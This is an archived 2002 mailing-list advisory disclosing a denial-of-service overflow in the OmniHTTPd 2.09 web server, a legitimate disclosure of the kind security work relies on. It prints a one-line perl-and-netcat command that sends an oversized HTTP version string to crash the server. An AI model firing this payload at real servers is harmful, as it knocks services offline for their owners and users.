BufferOverflow in OmniHTTPd 2.09

From: Martin J. Muench (mjmat_private)
Date: Mon Jul 01 2002 - 11:27:18 PDT

Next message: EnGarde Secure Linux: "[ESA-20020702-016] several vulnerabilities in the OpenSSH daemon"

Previous message: Dave Ahmad: "Foundstone Advisory - Buffer Overflow in AnalogX Proxy (fwd)"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Hi there.

The OmniHTTPd v2.09 of Omnicron (www.omnicron.ca) contains
a problem with handling long HTTP versions which causes a denial of
service.
Found this problem while developing a new plugin for BED (Bruteforce
Exploit Detector,www.kryptocrew.de/snakebyte/bed.html).


[ Problem

When sending a malformed request with a HTTP version containing 4096 or
more characters, the HTTPd crashes.

Example:
perl -e 'print "HEAD / "."a"x4096 ."\n\n"' | nc 127.0.0.1 80

This attack also works with every other request types like 'GET', 'POST',... .


[ Patches

Nothing published yet, contacted vendor 2 weeks ago.
Keep looking at vendor site at www.omnicron.ca.


Martin J. Muench

- www.codito.de

Next message: EnGarde Secure Linux: "[ESA-20020702-016] several vulnerabilities in the OpenSSH daemon"
Previous message: Dave Ahmad: "Foundstone Advisory - Buffer Overflow in AnalogX Proxy (fwd)"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Mon Jul 01 2002 - 15:19:45 PDT